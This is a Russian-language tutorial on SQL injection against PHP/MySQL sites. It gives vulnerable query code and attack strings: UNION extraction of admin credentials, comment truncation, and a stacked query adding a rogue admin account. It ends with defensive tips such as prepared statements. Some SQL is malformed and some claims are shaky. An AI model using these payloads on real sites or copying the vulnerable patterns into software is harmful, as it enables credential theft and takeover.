Содержание
С помощью данной атаки можно полностью ‘убить’ базу данных.
SQL инъекция — внедрение в запрос произвольного SQL кода. Используется для взлома сайтов и приложений, работающих с базами данных.
Рассмотрим несколько видов SQL инъекций.
Внедрение в строковые параметры
Приходит некий search_text, который не проверяется. Идет запрос к базе данных.
$search_text = $_REQUEST['search_text']; $res = mysql_query("SELECT id_news, news_date FROM news WHERE news_caption = LIKE('%$search_text%')");
Хакер вводит в поле ввода для поиска следующую строку (и она подставляется в $search_text в верхнем коде):
')+and+(news_id_author='1
В результате итоговый запрос выглядит так:
$search_text = $_REQUEST['search_text']; $res = mysql_query("SELECT id_news, news_date FROM news WHERE news_caption = LIKE('%') AND(news_id_author='1%')");
В результате происходит выборка всех новостей, где автор имеет id 10 — 19. Т.е. можно выцеплять что угодно.
Использование UNION
Данная атака позволяет объединить 2 запроса.
Допустим у нас есть все тот же запрос новостей:
$res = mysql_query("SELECT id_news, header, body, author FROM news WHERE id_news = " .$_REQUEST['id'];
Хакер вводит такую стоку текста:
-1 UNION SELECT 1,username,password,1 FROM admin
В итоге получаем следующий запрос к базе данных:
$res = mysql_query("SELECT id_news, header, body, author FROM news WHERE id_news = -1 UNION SELECT 1,username,password,1 FROM admin");
Т.е. здесь мы видим 2 запроса. При UNION у нас из второй таблицы должно быть столько же полей, сколько из первой.
Экранирование хвоста запроса
У нас все тот же запрос к БД:
$res=mysql_query("SELECT author FROM news WHERE id=" .$_REQUEST['id'] ." AND author LIKE ('a%')";
Хакер пишет строку:
-1 UNION SELECT password FROM admin--
Итоговый запрос получился таким:
$res=mysql_query("SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin-- AND author LIKE('a%')");
Расщепление SQL запроса
Есть все тот же запрос к новостям (см. код выше).
Хакер вводит строку:
12;INSERT INTO admin (username,password) VALUES ('hacker','12345');
Итоговый запрос получится таким:
SELECT * FROM news WHERE id_news=12; INSERT INTO admin (username, password) Values ('hacker','12345');
В итоге заводится новая учетная запись хакера с правами администратора БД.
Защита от SQL инъекций
В целях безопасности в MySQL строка запроса mysql_query () поддерживает только 1 запрос к базе данных, второй не пройдет. Поэтому работоспособен в MySQL только UNION взлом. А в других базах данных все вышеперечисленные атаки можно сделать. Это по официальной документации.
По неофиц. данным функция mysql_query может исполнить 2 запроса. Для этого надо сделать так (с использование констант):
mysql_connect('localhost','login','password',65536); //используем константу 65536 mysql_query('');
С использованием данной константы возможно проведение двух запросов в MySQL.
Для защиты от SQL инъекций, рекомендую следующее:
- Жесткая фильтрация входных данных и приведение их к нужному типу.
- По возможности меньше делать sql запросов.
- Используйте подготовленные (параметизированные) запросы.
- Используйте хранимые процедуры.
Фильтрация данных
- Используйте спец функции, встроенные в mysql:
$email = mysql_real_escape_string($_POST['email']);
- Отключите директиву PHP magic_quotes_gpc вручную в файле .htaccess.